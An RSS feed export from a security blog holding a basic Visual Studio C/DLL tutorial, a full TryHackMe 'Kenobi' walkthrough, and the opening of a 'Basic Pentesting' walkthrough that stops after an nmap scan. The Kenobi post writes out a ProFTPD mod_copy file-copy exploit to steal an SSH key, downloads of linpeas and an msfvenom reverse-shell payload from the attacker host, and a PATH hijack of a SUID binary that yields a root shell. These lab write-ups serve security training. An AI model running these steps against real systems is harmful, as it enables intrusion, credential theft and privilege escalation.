CSEC Blog https://akcoren.com Tue, 10 Feb 2026 19:02:15 +0000 en-US hourly 1 https://wordpress.org/?v=6.9.4 https://akcoren.com/wp-content/uploads/2024/03/cropped-6463391-32x32.png CSEC Blog https://akcoren.com 32 32 Basics of C Development in Visual Studio https://akcoren.com/c-visual-studio-intro/?utm_source=rss&utm_medium=rss&utm_campaign=c-visual-studio-intro https://akcoren.com/c-visual-studio-intro/#respond Tue, 10 Feb 2026 19:02:13 +0000 https://akcoren.com/?p=1109 This post shows very basic and simple c/c++ code compilation in Visual Studio with a brief introduction to Visual Studio Community. Open Visual Studio and create a new project. We are going to start with ConsoleApp for C++ in this guide. Name your project as you wish. Visual Studio prepares a template code and proper […]

The post Basics of C Development in Visual Studio first appeared on CSEC Blog.

]]>
This post shows very basic and simple c/c++ code compilation in Visual Studio with a brief introduction to Visual Studio Community.

Open Visual Studio and create a new project.

We are going to start with ConsoleApp for C++ in this guide.

Name your project as you wish.

Visual Studio prepares a template code and proper compilers with header files for us. Following the template source code of the project we just created.

// testPE1.cpp : This file contains the 'main' function. Program execution begins and ends there.
//

#include <iostream>

int main()
{
    std::cout << "Hello World!\n";
}

// Run program: Ctrl + F5 or Debug > Start Without Debugging menu
// Debug program: F5 or Debug > Start Debugging menu

// Tips for Getting Started:
//   1. Use the Solution Explorer window to add/manage files
//   2. Use the Team Explorer window to connect to source control
//   3. Use the Output window to see build output and other messages
//   4. Use the Error List window to view errors
//   5. Go to Project > Add New Item to create new code files, or Project > Add Existing Item to add existing code files to the project
//   6. In the future, to open this project again, go to File > Open > Project and select the .sln file

For this guide, we are going to build a simple PE that opens a window (Message Box) with a simple/changeable text in it. This reuires windows APIs. Following is the minimum working example with the proper headers included.

#include <iostream>
#include <stdio.h>
#include <Windows.h>

int main()
{
	std::cout << "Hello World!\n";
	printf("This is a test program for PE file format.\n");

	MessageBoxA(NULL, "This is a message box.", "PE File Test", MB_OK);
	return 0;
}

Quick note here, In order to use windows APIs, we need to install windows software develop kit (Windows SDK) which comes with Visual Studio installation. Most of the time, I was able to compile the same code with the same headers and compilation options in linux and windows. However, for advanced features (I don’t know, maybe GUI or internals related etc.) an updated Windows 11 machine with Visual Studio might be required. Microsoft says for “Native” C/C++, developers should use Visual Studio in at least win 10 machines.

There are couple of things to point out.

  • #include <iostream> can be removed if you not gonna use std::cout << "Hello World!\n. This is a C++ class for input output operations.
  • #include <Windows.h> is the master include file for Windows applications which is used for `MessageBoxA()`in this case.

Let’s make it a simple C code and remove the extra lines. Change the file extension from .cpp to .c.

#include <stdio.h>
#include <Windows.h>

int main()
{
	printf("This is a test program for PE file format.\n");

	MessageBoxA(NULL, "This is a message box.", "PE File Test", MB_OK);
	return 0;
}

Lets run this. Press Ctrl+Shift+B or F5 or press the run icon in the menu bar.

As one can see, this application opens a console before the message box. We can leave it as is or we can change the entry point of the application to disable console window appearing at the program run. If you want, you can do the following.

project properties -> linker -> System -> Subsystem -> Windows

project properties -> linker -> advanced -> entry point -> mainCRTStartup

Then no console windows is opened when PE is executed. We finally have a very basic PE file that is written in C that uses a WIN32 API.

Now we add a simple .dll file that do the same thing. In order to do that, right click on the solution, add a new project and select .dll.

Set project name to testDLL1.

For demonstration purposes, we open another windows within the function defined in the .dll file and export that function to the main portable executable.

This is the template code comes with the `.dll` file.

// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

We remove the extras for the sake of creating a minimum working example in C. Copy the following code block.

#include <windows.h>

// Exported function
extern __declspec(dllexport) void HelloWorld() {
    MessageBoxA(NULL, "Hello, World!", "DLL Message", MB_ICONINFORMATION);
}

// Entry point for the DLL
BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

Let’s remove the precompiled headers framework.h, pch.h and pch.cpp. Simply right click and delete them.

Remove the line #include "pch.h".

We can safely set compiler to don’t use precompiled header option. From the project tab, dll properties then select don’t use procompiled header.

Then change the dllmain.cpp to dllmain.c. Now out .dll file is ready. We can test it using rundll32.exe.

rundll32.exe .\x64\Release\testDLL1.dll,HelloWorld

The format is

rundll32.exe <path-to-dll-file.dll>,<imported-function>

Our .dll file is working fine.

Lets call it from the PE. Replace the main executable code with the following.

#include <stdio.h>
#include <Windows.h>

// Constructing a new data type that represents HelloWorld's function pointer
typedef void (WINAPI* HelloWorldFunctionPointer)();

int main()
{
	MessageBoxA(NULL, "This is a message box.", "PE File Test", MB_OK);
	// Attempt to get the handle of the DLL
	HMODULE hModule = GetModuleHandleA("testDLL1.dll");

	if (hModule == NULL) {
		// If the DLL is not loaded in memory, use LoadLibrary to load it
		hModule = LoadLibraryA("testDLL1.dll");
	}

	// pHelloWorld stores HelloWorld's function address
	PVOID pHelloWorld = GetProcAddress(hModule, "HelloWorld");

	// Typecasting pHelloWorld to be of type HelloWorldFunctionPointer
	HelloWorldFunctionPointer HelloWorld = (HelloWorldFunctionPointer)pHelloWorld;

	// Invoke HelloWorld
	HelloWorld();
	return 0;
}

Above code do the followings

  1. Retrieve DLL Handle
  2. Retrieve function address
  3. Type-cast the function address

The WIN23 API usage and specifics are beyond the scope of this blog post. Hence, I would not go into the details of that. Normally, .dll files and main code should be in the same folder but visual studio handles these for us.

Finally, press F5 to run the program.

As expected there is 2 message box is opened.

One should build the application in the Release mode. In order to that, change it from the menu bar. When you switch from Debug to Release, do not forget to change the entry point of the PE as mentioned above.

Conclusion & Commnets

This blog post summarizes the basic project creation and code compilation process in Visual Studio. We created a simple windows application by using WIN32 API. The project we created is composed of a single executable file and a DLL library file.

The post Basics of C Development in Visual Studio first appeared on CSEC Blog.

]]>
https://akcoren.com/c-visual-studio-intro/feed/ 0
TryHackMe – Kenobi Walkthrough https://akcoren.com/tryhackme-kenobi-walkthrough/?utm_source=rss&utm_medium=rss&utm_campaign=tryhackme-kenobi-walkthrough https://akcoren.com/tryhackme-kenobi-walkthrough/#respond Mon, 16 Sep 2024 13:35:59 +0000 https://akcoren.com/?p=1088 Kenobi is a Starwars themed easy room for pentesting practice. This room is hosted in the TryHackMe platform.

The post TryHackMe – Kenobi Walkthrough first appeared on CSEC Blog.

]]>

Kenobi is a Starwars themed easy room for pentesting practice. This room is hosted in the TryHackMe platform.

Room can be reached with the following link:

https://tryhackme.com/r/room/kenobi

Overview

This overview shows the direct path to the solution of the room Kenobi without giving the commands or tools used in the solution. There is a vulnerable FTP server running on the machine. By exploiting the FTP server and information gathered from the NFS and SMB, we get a critical private RSA key file to get initial foothold. For the privilege escalation, there is a custom SUID binary that calls certain binaries with relative path. By exploiting the misconfiguration in the $PATH variable combined with the SUID binary, we get the root user.

Detailed Walkthrough

My IP: 10.9.0.108

Machine IP: 10.10.51.164

Room Link: https://tryhackme.com/r/room/kenobi

Initial Foothold

Start with default nmap scan

┌──(root㉿kali)-[~/tryhackme/kenobi]
└─# nmap -sC -sV -T4 -p- -oA nmap/allports 10.10.51.164
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-15 00:50 EDT
Stats: 0:00:33 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 81.37% done; ETC: 00:51 (0:00:08 remaining)
Nmap scan report for 10.10.51.164
Host is up (0.070s latency).
Not shown: 65524 closed tcp ports (reset)
PORT      STATE SERVICE     VERSION
21/tcp    open  ftp         ProFTPD 1.3.5
22/tcp    open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 b3:ad:83:41:49:e9:5d:16:8d:3b:0f:05:7b:e2:c0:ae (RSA)
|   256 f8:27:7d:64:29:97:e6:f8:65:54:65:22:f7:c8:1d:8a (ECDSA)
|_  256 5a:06:ed:eb:b6:56:7e:4c:01:dd:ea:bc:ba:fa:33:79 (ED25519)
80/tcp    open  http        Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/admin.html
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
111/tcp   open  rpcbind     2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100227  2,3         2049/tcp   nfs_acl
|   100227  2,3         2049/tcp6  nfs_acl
|   100227  2,3         2049/udp   nfs_acl
|_  100227  2,3         2049/udp6  nfs_acl
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
2049/tcp  open  nfs_acl     2-3 (RPC #100227)
37575/tcp open  mountd      1-3 (RPC #100005)
40603/tcp open  nlockmgr    1-4 (RPC #100021)
57733/tcp open  mountd      1-3 (RPC #100005)
59085/tcp open  mountd      1-3 (RPC #100005)
Service Info: Host: KENOBI; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-time:
|   date: 2024-09-15T04:51:39
|_  start_date: N/A
|_nbstat: NetBIOS name: KENOBI, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
|_clock-skew: mean: 1h40m22s, deviation: 2h53m12s, median: 22s
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: kenobi
|   NetBIOS computer name: KENOBI\x00
|   Domain name: \x00
|   FQDN: kenobi
|_  System time: 2024-09-14T23:51:39-05:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 55.38 seconds

There are couple of ports open. Importance and enumeration order in my opinion is as follows,

  • 80 -> Webserver, we are definitely enumerate this.
  • 21 -> FTP, if anonymous login is allowed, this lead to a valuable information.
  • 139, 445 -> SMB server, if we can anonymously login, there might be valuable information.
  • 2049 -> NFS, we try to mount this share, there might be valuable information.
  • 111 -> RPC, we try nmap scripts to enumerate this.
  • 22 -> SSH, if we are desperate and find a username somehow, we might try to brute force it.

Web server

We visit the website http://10.10.51.164/

An iconic scene from Star Wars, Obi-Wan Kenobi vs Anakin Skywalker duel. Source code of the page has nothing. We start directory busting with ffuf.

┌──(root㉿kali)-[~/tryhackme/kenobi]
└─# ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.51.164/FUZZ -e .html,.php,.txt
admin.html              [Status: 200, Size: 200, Words: 18, Lines: 19, Duration: 72ms]
robots.txt              [Status: 200, Size: 36, Words: 3, Lines: 3, Duration: 68ms]

The admin page looks like this. Again source code has nothing.

Similarly, robots.txt lead us to nowhere.

SMB Enumeration

I used smbclient for the SMB enumeration.

┌──(root㉿kali)-[~/tryhackme/kenobi]
└─# smbclient -L //10.10.51.164
Password for [WORKGROUP\root]:

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        anonymous       Disk
        IPC$            IPC       IPC Service (kenobi server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
        WORKGROUP            KENOBI

We try to connect to the share anonymous.

┌──(root㉿kali)-[~/tryhackme/kenobi]
└─# smbclient //10.10.51.164/anonymous
Password for [WORKGROUP\root]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Sep  4 06:49:09 2019
  ..                                  D        0  Wed Sep  4 06:56:07 2019
  log.txt                             N    12237  Wed Sep  4 06:49:09 2019

                9204224 blocks of size 1024. 6765420 blocks available
smb: \> get log.txt
getting file \log.txt of size 12237 as log.txt (30.8 KiloBytes/sec) (average 30.8 KiloBytes/sec)
smb: \> exit

┌──(root㉿kali)-[~/tryhackme/kenobi]
└─# cat log.txt
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kenobi/.ssh/id_rsa):
Created directory '/home/kenobi/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kenobi/.ssh/id_rsa.
Your public key has been saved in /home/kenobi/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:C17GWSl/v7KlUZrOwWxSyk+F7gYhVzsbfqkCIkr2d7Q kenobi@kenobi
The key's randomart image is:
+---[RSA 2048]----+
|                 |
|           ..    |
|        . o. .   |
|       ..=o +.   |
|      . So.o++o. |
|  o ...+oo.Bo*o  |
| o o ..o.o+.@oo  |
|  . . . E .O+= . |
|     . .   oBo.  |
+----[SHA256]-----+

# This is a basic ProFTPD configuration file (rename it to
# 'proftpd.conf' for actual use.  It establishes a single server
# and a single anonymous login.  It assumes that you have a user/group
# "nobody" and "ftp" for normal operation and anon.

ServerName                      "ProFTPD Default Installation"
ServerType                      standalone
DefaultServer                   on

# Port 21 is the standard FTP port.
Port                            21

# Don't use IPv6 support by default.
UseIPv6                         off

[OMITTED]

We get a file called log.txt in the SMB share called anonymous. This is a bash log file that shows us the generation of a RSA private key which is located at the /home/kenobi/.ssh/id_rsa and the configuration file of ProFTPD ftp server.

NFS Mount

We list the mounts on the server.

┌──(root㉿kali)-[~/tryhackme/kenobi]
└─# showmount -e 10.10.51.164
Export list for 10.10.51.164:
/var *

The directory /var is available for mounting. Lets mount it to enumerate further.

┌──(root㉿kali)-[~/tryhackme/kenobi]
└─# mkdir mount

┌──(root㉿kali)-[~/tryhackme/kenobi]
└─# mount -t nfs 10.10.51.164:/var ./mount -nolock

┌──(root㉿kali)-[~/tryhackme/kenobi]
└─# cd mount

┌──(root㉿kali)-[~/tryhackme/kenobi/mount]
└─# ls
backups  cache  crash  lib  local  lock  log  mail  opt  run  snap  spool  tmp  www

┌──(root㉿kali)-[~/tryhackme/kenobi/mount]
└─# cd tmp

┌──(root㉿kali)-[~/tryhackme/kenobi/mount/tmp]
└─# touch here
touch: cannot touch 'here': Read-only file system

It is Read-only and there is usually no sensitive information in the /var directory. However, the correct approach be to search and enumerate through all the directories inside the share for a critical information. However, due to the nature of this CTF, I skip this part and assume there are no sensitive information in this share.

FTP Server

A quick google search will shows us the ProFTPD version 1.3.5 is exploitable listed as CVE-2015-3306. More information about the exploit can be found in https://nvd.nist.gov/vuln/detail/CVE-2015-3306. Quick search if there is a simple and easy to use exploit on the attack Kali machine.

┌──(root㉿kali)-[~/tryhackme/kenobi]
└─# searchsploit proftpd 1.3.5
------------------------------------------------------------------ --------------------------
 Exploit Title                                                    |  Path
------------------------------------------------------------------ --------------------------
ProFTPd 1.3.5 - 'mod_copy' Command Execution (Metasploit)         | linux/remote/37262.rb
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution               | linux/remote/36803.py
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution (2)           | linux/remote/49908.py
ProFTPd 1.3.5 - File Copy                                         | linux/remote/36742.txt
------------------------------------------------------------------ --------------------------

I went for a non-metasploit way and tries python RCE codes but did not able to get them work. So with the help of the hints in the room and the linux/remote/36742.txt file, I was able to exploit it. The exploit is explained in 36742.txt file.

┌──(root㉿kali)-[~/tryhackme/kenobi]
└─# cat /usr/share/exploitdb/exploits/linux/remote/36742.txt
Description TJ Saunders 2015-04-07 16:35:03 UTC
Vadim Melihow reported a critical issue with proftpd installations that use the
mod_copy module's SITE CPFR/SITE CPTO commands; mod_copy allows these commands
to be used by *unauthenticated clients*:

---------------------------------
Trying 80.150.216.115...
Connected to 80.150.216.115.
Escape character is '^]'.
220 ProFTPD 1.3.5rc3 Server (Debian) [::ffff:80.150.216.115]
site help
214-The following SITE commands are recognized (* =>'s unimplemented)
214-CPFR <sp> pathname
214-CPTO <sp> pathname
214-UTIME <sp> YYYYMMDDhhmm[ss] <sp> path
214-SYMLINK <sp> source <sp> destination
214-RMDIR <sp> path
214-MKDIR <sp> path
214-The following SITE extensions are recognized:
214-RATIO -- show all ratios in effect
214-QUOTA
214-HELP
214-CHGRP
214-CHMOD
214 Direct comments to root@www01a
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto /tmp/passwd.copy
250 Copy successful
-----------------------------------------

He provides another, scarier example:

------------------------------
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto <?php phpinfo(); ?>
550 cpto: Permission denied
site cpfr /proc/self/fd/3
350 File or directory exists, ready for destination name
site cpto /var/www/test.php

test.php now contains
----------------------
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error rewinding scoreboard: Invalid argument
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): FTP session opened.
2015-04-04 02:01:27,943 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error opening destination file '/<?php
phpinfo(); ?>' for copying: Permission denied
-----------------------

test.php contains contain correct php script "<?php phpinfo(); ?>" which
can be run by the php interpreter

Source: http://bugs.proftpd.org/show_bug.cgi?id=4169

So, mod_copy module in ProFTPD 1.3.5 allows unauthenticated remote attacker to read and write arbitrary files in the file system via site cpfr and site cpto. I connect the FTP server with nc. Since we have an exposed RSA key on the machine, and have a read only file share, we can copy the key file to the read only share and read it from there.

┌──(root㉿kali)-[~/tryhackme/kenobi]
└─# nc 10.10.51.164 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.51.164]
SITE CPFR /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
SITE CPTO /var/tmp/id_rsa
250 Copy successful

After this step, we can simply connect to the machine via SSH by using the private key of user kenobi.

┌──(root㉿kali)-[~/tryhackme/kenobi]
└─# cd mount

┌──(root㉿kali)-[~/tryhackme/kenobi/mount]
└─# cd tmp

┌──(root㉿kali)-[~/tryhackme/kenobi/mount/tmp]
└─# ls
id_rsa
systemd-private-2408059707bc41329243d2fc9e613f1e-systemd-timesyncd.service-a5PktM
systemd-private-5b12c88ef8ea42dfa7d6ff785af8057e-systemd-timesyncd.service-JqVc0B
systemd-private-6f4acd341c0b40569c92cee906c3edc9-systemd-timesyncd.service-z5o4Aw
systemd-private-e69bbb0653ce4ee3bd9ae0d93d2a5806-systemd-timesyncd.service-zObUdn

┌──(root㉿kali)-[~/tryhackme/kenobi/mount/tmp]
└─# ssh -i id_rsa [email protected]
The authenticity of host '10.10.51.164 (10.10.51.164)' can't be established.
ED25519 key fingerprint is SHA256:GXu1mgqL0Wk2ZHPmEUVIS0hvusx4hk33iTcwNKPktFw.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.51.164' (ED25519) to the list of known hosts.
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.8.0-58-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

103 packages can be updated.
65 updates are security updates.


Last login: Wed Sep  4 07:10:15 2019 from 192.168.1.147
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

kenobi@kenobi:~$ ls
share  user.txt
kenobi@kenobi:~$ cat user.txt
****************2a83915e19224899

We landed to the machine as user kenobi and get the user flag.

Privilege Escalation

After we landed as a user kenobi, we enumerate for possible privilege escalation paths. I use linpeas for an automated search. linpeas is huge, so I only include the relevant parts of the output (at least the intended way to solve the box). You can get the latest version of linpeas from this link: https://github.com/peass-ng/PEASS-ng/releases

kenobi@kenobi:~$ wget http://10.9.0.108/linpeas.sh
--2024-09-15 01:34:01--  http://10.9.0.108/linpeas.sh
Connecting to 10.9.0.108:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 853290 (833K) [text/x-sh]
Saving to: ‘linpeas.sh’

linpeas.sh               100%[============================================>] 833.29K  1.80MB/s    in 0.5s

2024-09-15 01:34:01 (1.80 MB/s) - ‘linpeas.sh’ saved [853290/853290]

kenobi@kenobi:~$ ls
bin  linpeas.sh  share  user.txt
kenobi@kenobi:~$ sh linpeas.sh

[OMITTED]

╔══════════╣ PATH
 https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-path-abuses                                                                     
/home/kenobi/bin:/home/kenobi/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin 

[OMITTED]

╔══════════╣ Environment
 Any private information inside environment variables?
PATH=/home/kenobi/bin:/home/kenobi/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

[OMITTED]

╔══════════╣ Analyzing SSH Files (limit 70)
══╣ Possible private SSH keys were found!
/home/kenobi/.ssh/id_rsa
/home/kenobi/.config/lxc/client.key

[OMITTED]

══════════════════════╣ Files with Interesting Permissions ╠══════════════════════
                      ╚════════════════════════════════════╝
╔══════════╣ SUID - Check easy privesc, exploits and write perms
 https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
strace Not Found
[OMITTED]
-rwsr-xr-x 1 root root 8.7K Sep  4  2019 /usr/bin/menu (Unknown SUID binary!)

[OMITTED]

It found the $PATH variable, and an unknown SUID binary. I also just to highlight that it found the private ssh keys too. So the /usr/bin/menu binary looks interesting. Lets try to learn more about this binary.

kenobi@kenobi:~$ /usr/bin/menu

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :1
HTTP/1.1 200 OK
Date: Sun, 15 Sep 2024 06:22:34 GMT
Server: Apache/2.4.18 (Ubuntu)
Last-Modified: Wed, 04 Sep 2019 09:07:20 GMT
ETag: "c8-591b6884b6ed2"
Accept-Ranges: bytes
Content-Length: 200
Vary: Accept-Encoding
Content-Type: text/html

kenobi@kenobi:~$ /usr/bin/menu

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :2
4.8.0-58-generic
kenobi@kenobi:~$ /usr/bin/menu

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :3
eth0      Link encap:Ethernet  HWaddr 02:d1:3e:2f:0d:db  
          inet addr:10.10.51.164  Bcast:10.10.255.255  Mask:255.255.0.0
          inet6 addr: fe80::d1:3eff:fe2f:ddb/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:9001  Metric:1
          RX packets:1246686 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1245489 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:191856021 (191.8 MB)  TX bytes:564238593 (564.2 MB)

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:224 errors:0 dropped:0 overruns:0 frame:0
          TX packets:224 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1 
          RX bytes:16602 (16.6 KB)  TX bytes:16602 (16.6 KB)

Apparently, it does 3 things. Whether the webserver is up or not by simply sending a get request, shows the kernel version and shows the network interfaces. It feels like this binary uses other system binaries to do these work. To analyze deeply, we go for strings.

kenobi@kenobi:~$ strings /usr/bin/menu
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
__isoc99_scanf
puts
__stack_chk_fail
printf
system
__libc_start_main
__gmon_start__
GLIBC_2.7
GLIBC_2.4
GLIBC_2.2.5
UH-`
AWAVA
AUATL
[]A\A]A^A_
***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :
curl -I localhost                <<<<===== RELATIVE PATH USED
uname -r                         <<<<===== RELATIVE PATH USED
ifconfig                         <<<<===== RELATIVE PATH USED
 Invalid choice
;*3$"
GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.11) 5.4.0 20160609
crtstuff.c
__JCR_LIST__
deregister_tm_clones

[OMITTED]

So, it uses curl, uname and ifconfig commands to all that stuff, and is used relative path for all of them. Check the $PATH again.

kenobi@kenobi:~$ echo $PATH
/home/kenobi/bin:/home/kenobi/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

So this is the situation. We have a binary that has SUID permission, which means we can run it as root, that binary calls some other binaries with relative path, and the $PATH variable starts with our own home directory.

So, here is the procedure we should follow, we cannot change the menu SUID binary but since it is calling other binaries with relative path, we can inject our malicious binary into the somewhere in the path (before the intended one) and make menu binary call them.

Lets craft out binary with msfvenom.

┌──(root㉿kali)-[~/tryhackme/kenobi/www]
└─# msfvenom -p linux/x64/shell_reverse_tcp -f elf LHOST=10.9.0.108 LPORT=4444 -o ./rev_shell
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes
Saved as: ./rev_shell

We download it to the victim machine.

kenobi@kenobi:~$ wget http://10.9.0.108/rev_shell
--2024-09-15 01:25:31--  http://10.9.0.108/rev_shell
Connecting to 10.9.0.108:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 194 [application/octet-stream]
Saving to: ‘rev_shell’

rev_shell   100%[==========================================>]     194  --.-KB/s    in 0s      

2024-09-15 01:25:31 (39.9 MB/s) - ‘rev_shell’ saved [194/194]

kenobi@kenobi:~$ cp rev_shell ./ifconfig
kenobi@kenobi:~$ mkdir bin
kenobi@kenobi:~$ mv ifconfig ./bin/

At this point it should be noted that, you can change the name of the reverse into curl, uname or ifconfig. It does not matter at all. All three of those binaries can be used for privilege escalation. Start a listener from our attack machine.

┌──(root㉿kali)-[~/tryhackme/kenobi]
└─# nc -nvlp 4444
listening on [any] 4444 ...

Run the menu command and select the option 3 or whichever binary you poisioned.

kenobi@kenobi:~/bin$ menu

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :3

And we get our reverse shell as a root user.

┌──(root㉿kali)-[~/tryhackme/kenobi]
└─# nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.9.0.108] from (UNKNOWN) [10.10.51.164] 55282
ls
ifconfig
whoami
root

The root flag is in the /root directory.

root@kenobi:/root# cat root.txt 
cat root.txt
****************7382721c28381f02

Conclusions & Comments

I really like how they themed the machine with Star wars. Other than that, this was a very good exercise in terms of both initial foothold and privilege escalation paths. I especially like the initial foothold, because it is not a PoC code. You should read and understand how this exploit works and do it yourself. For the privilege escalation part, I always like to work with SUID binaries and $PATH variable. Other than that, It was a very fun and good Linux practice machine.

Other Notable Resources

The post TryHackMe – Kenobi Walkthrough first appeared on CSEC Blog.

]]>
https://akcoren.com/tryhackme-kenobi-walkthrough/feed/ 0
TryHackMe – Basic Pentesting Walkthrough https://akcoren.com/tryhackme-basic-pentesting/?utm_source=rss&utm_medium=rss&utm_campaign=tryhackme-basic-pentesting https://akcoren.com/tryhackme-basic-pentesting/#respond Sat, 14 Sep 2024 17:59:43 +0000 https://akcoren.com/?p=1065 TryHackme - Basic Pentesting is an easy room. This post shows all solution paths with detailed walkthrough. Enumeration, exploitation and escalation paths.

The post TryHackMe – Basic Pentesting Walkthrough first appeared on CSEC Blog.

]]>

This is a beginner friendly and free TryHackMe room, where you can practice and hone your pentesting skills. This is considered as an easy room in the TryHackMe platform due to the readily available POCs and obvious escalation paths.

Room can be reached with the following link:

https://tryhackme.com/r/room/basicpentestingjt

Overview

This overview shows the direct path to the solution of the room Basic Pentesting without giving the commands or tools used in the solution. There are two different ways for initial foothold and two different ways for local privilege escalation. For the first initial foothold, the machine runs a vulnerable struts2 framework which can be exploited and allows us to do a remote code execution. Also, one of the users has a weak credential which can be obtained by brute forcing. For the privilege escalation part, there is an exposed RSA private key which can be cracked easily to get a sudoer user. Second privilege escalation path is a misconfigured SUID binary, by using that binary user can gain root privileges.

Detailed Walkthrough

My IP: 10.9.0.108

Machine IP: 10.10.126.175

Room Link: https://tryhackme.com/r/room/basicpentestingjt

Initial Foothold

To start with, there are two possible initial foothold paths. This guide explains both of them in detail.

  • RCE via vulnerable Apache Struts 2.5.12 REST plugin
  • Weak credentials, Brute-forcing via SSH

Start with the default nmap scan

┌──(root㉿kali)-[~/tryhackme/basic_pentesting/nmap]
└─# nmap -sC -sV -T4 -p- -oA nmap/allports 10.10.126.175 
Nmap scan report for 10.10.126.175
Host is up (0.071s latency).
Not shown: 65529 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 db:45:cb:be:4a:8b:71:f8:e9:31:42:ae:ff:f8:45:e4 (RSA)
|   256 09:b9:b9:1c:e0:bf:0e:1c:6f:7f:fe:8e:5f:20:1b:ce (ECDSA)
|_  256 a5:68:2b:22:5f:98:4a:62:21:3d:a2:e2:c5:a9:f7:c2 (ED25519)
80/tcp   open  http        Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
| ajp-methods: 
|_  Supported methods: GET HEAD POST OPTIONS
8080/tcp open  http        Apache Tomcat 9.0.7
